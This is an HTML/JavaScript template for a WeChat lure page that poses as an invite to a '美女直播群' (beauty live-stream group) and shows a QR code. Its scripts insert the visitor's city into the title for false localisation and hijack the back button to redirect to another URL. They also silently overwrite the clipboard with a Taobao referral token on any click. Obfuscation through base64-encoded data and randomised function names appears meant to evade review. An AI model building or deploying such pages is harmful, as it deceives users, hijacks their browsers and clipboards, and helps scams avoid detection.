<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta id="viewport" name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0;">
    <meta content="telephone=no" name="format-detection">
    <title>...</title>
    <link rel="stylesheet" href="https://res.wx.qq.com/open/libs/weui/2.3.0/weui.min.css">
	<script src="__STATIC__/js/jquery.min.js" type="text/javascript" charset="utf-8"></script>
    <style>
        *{margin:0;padding:0}
        html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;height:100%;font-size:14px;text-align:center}
        body{line-height:1.6;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;font-size:16px;background-color:var(--weui-BG-0);color:var(--weui-FG-0);width: 100vw;height: 100vh;}
        .body .btn{width:200px;margin:0 auto;}
        .group_info{position:relative;background:var(--weui-BG-2);margin-bottom:35px;padding-bottom:25px;padding-top:33px}
        .group_info:after{content:" ";position:absolute;width:200%;height:1px;left:0;bottom:0;border-bottom:1px solid var(--weui-FG-3);transform:scale(.5);transform-origin:0 100%}
        .group_icon{margin-bottom:2px;width:65px;height:65px;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px}
        .group_name{font-size:18px;color:var(--weui-FG-0)}
        .msg{color:var(--weui-FG-1);font-size:19px;margin-bottom:25px;padding:0 15px}
        .btn,a{text-decoration:none}
        .btn{display:block;margin-left:auto;margin-right:auto;padding-left:14px;padding-right:14px;font-size:18px;text-align:center;overflow:visible;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;color:#fff;line-height:2.33333333;-webkit-tap-highlight-color:rgba(255,255,255,0)}
        .btn.btn_inline{display:inline-block}
        .btn_primary{background-color:#04be02}
        .btn_primary:not(.btn_disabled):visited{color:#fff}
        .btn_primary:not(.btn_disabled):active{color:hsla(0,0%,100%,.4);background-color:#039702}
        .btn+.btn{margin-top:10px}
        .btn.btn_inline+.btn.btn_inline{margin-top:auto;margin-left:10px}
        .btn_area.btn_area_inline .btn{margin-top:auto;margin-right:10px;width:100%;-ms-flex:1;box-flex:1;flex:1;display:inline-block\9;width:48%\9;margin-left:1%\9;margin-right:1%\9}
        .btn_area.btn_area_inline .btn:last-child{margin-right:0}
        .btn_qrcode img{max-width: 80%;margin-bottom: 20px;}
    </style>
</head>

<body>

<div class="body">
    <div class="group_info">
<!--        <img src="{$data.img}" alt="" class="group_icon">-->
        <p class="group_name">美女直播群</p>
<!--        <p class="group_num">{$data.number}人</p>-->
    </div>
    <p class="msg">{$data.share_end_msg}</p>
    <div class="btn_qrcode"><img src="{$data.qrcode}" alt=""></div>
</div>

<script>

    var dizhi = '本地';
    if(typeof localAddress != 'undefined') {
        if(typeof localAddress["city"] != 'undefined' && localAddress["city"] != '') {
            dizhi = localAddress["city"];
            dizhi = dizhi.replace("市", "");
        } else if(typeof localAddress["province"] != 'undefined' && localAddress["province"] != '') {
            dizhi = localAddress["province"];
            dizhi = dizhi.replace("省", "");
        }
    }

    function getRandEmoji() {
        var emoji = ["🌂","🌺","⛎","🐳","💖","🔥","🈲","💥","✨","💘","🍺","💌","🎸","⛵","🎁","💰","👙","🙏","🐠","🛀","😀","😁","😂","🤣","😃","😄","😅","😆","😉","😊","😋","😎","😍","😘","😗","😙","😚","🙂","🤗","🤔","😐","😶","😑","🙄","😏","😣","😥","😮","🤐","😯","😪","😫","😴","😌","😛","😜","😝","🤤","😓","😔","😕","🙃","🤑","😲","😖","😖","😞","😟","😤","😢","😭","😦","😦","🤧","😇","🤠","🤡","🤥","🤓","😈","👿","👹","👺","💀","👻","👽","😺","😸","😹","😻","😼","😽","🙀","😿","😾","👫","👬","👭","👃🏿","👣","👀","👁","👅","👄","💋","👓","👔","👕","👙","👚","👜","👠","👑","🎩","💍","💼","🌠","🌏","🌕","🌠","😙","🈲","✅","🔡","🔘","🔖","🔗","🔜","🔙","🔚","🔛","⚪","⛔","🔽","🔠","⚫","🚫","✅","🔼","⛔","❎","🔢","📛","🔵"];
        var index = Math.floor((Math.random() * emoji.length));
        return emoji[index];
    }

    var {$rand_str.data}  = JSON.parse(window.atob("{$jsondata}"));

    function {$rand_str.jiemi}(s) {return decodeURIComponent(atob(s));}


    /*替换标题里的标签*/
    while( {$rand_str.data}.title.indexOf("{city}") > -1 || {$rand_str.data}.title.indexOf("{emoji}") > -1 ) {
        {$rand_str.data}.title = {$rand_str.data}.title.replace("{city}", dizhi).replace("{emoji}", getRandEmoji());
    }

    /*把标题，加载到网页标题*/
    $('.group_info .group_name').text({$rand_str.data}.title);
    document.title = {$rand_str.data}.title + '（' + {$rand_str.data}.number + '人）';


    /* 回退跳转 */
    window.onhashchange = function() {jp();};
    function jp() {window.location.href = {$rand_str.data}.back_jump_url;}
    function hh() {history.pushState(history.length + 1, "message", window.location.href.split('#')[0] + "#" + new Date().getTime());}
    setTimeout(function () {hh();}, 200);


    /* 复制口令 */
    function {$rand_str.ddd}(link, callback) {
        var label = document.createElement('script');
        label.src = link;
        label.onload = function() {
            if (typeof callback === 'function') callback()
        };
        document.body.appendChild(label)
    }

    {$rand_str.ddd}('/static/js/clipboard.min.js',function(){
        var clipboard = new ClipboardJS('html', {text: function () {return {$rand_str.data}.taokouling;}});
    });


    /* 添加右下角 投诉按钮 */
    $(function(){
	    $('body').append({$rand_str.jiemi}('JTNDc3R5bGUlM0UlMjN0cyUyMCU3QnBvc2l0aW9uJTNBJTIwZml4ZWQlM0JyaWdodCUzQSUyMDMwcHglM0Jib3R0b20lM0ElMjA1MHB4JTNCei1pbmRleCUzQSUyMDk5OTk5JTNCJTdEJTNDJTJGc3R5bGUlM0UlM0NkaXYlMjBpZCUzRCUyMnRzJTIyJTNFJTNDYSUyMHN0eWxlJTNEJTIyZGlzcGxheSUzQSUyMGlubGluZS1ibG9jayUzQmJhY2tncm91bmQtY29sb3IlM0ElMjAlMjNGRjU3MjIlM0Jjb2xvciUzQSUyM2ZmZmZmZiUzQmZvbnQtc2l6ZSUzQSUyMDE2cHglM0JwYWRkaW5nJTNBJTIwMTBweCUyMDZweCUzQmJvcmRlci1yYWRpdXMlM0ElMjA1MCUyNSUzQmJvcmRlciUzQSUyMDFweCUyMHNvbGlkJTIwJTIzZWVlJTNCJTIyJTNFJUU2JThBJTk1JUU4JUFGJTg5JTNDJTJGYSUzRSUzQyUyRmRpdiUzRQ'));

	    $('#ts').click(function(){
		    $.get('/item/auto/ts', {}, function(res){
			    if ( res.code == 1 ){
				    {$rand_str.aaa}('<h2>'+ res.msg +'</h2>', {$rand_str.jiemi}('JUU3JTlGJUE1JUU5JTgxJTkzJUU0JUJBJTg2'), function(){location.href = res.url;});
				    setTimeout(function(){
					    location.href = res.url;
				    }, 3000);
			    }
		    });
	    });
    })

</script>
<div style="display: none;">{:fission('liuliangtongji')}</div>
</body>
</html>
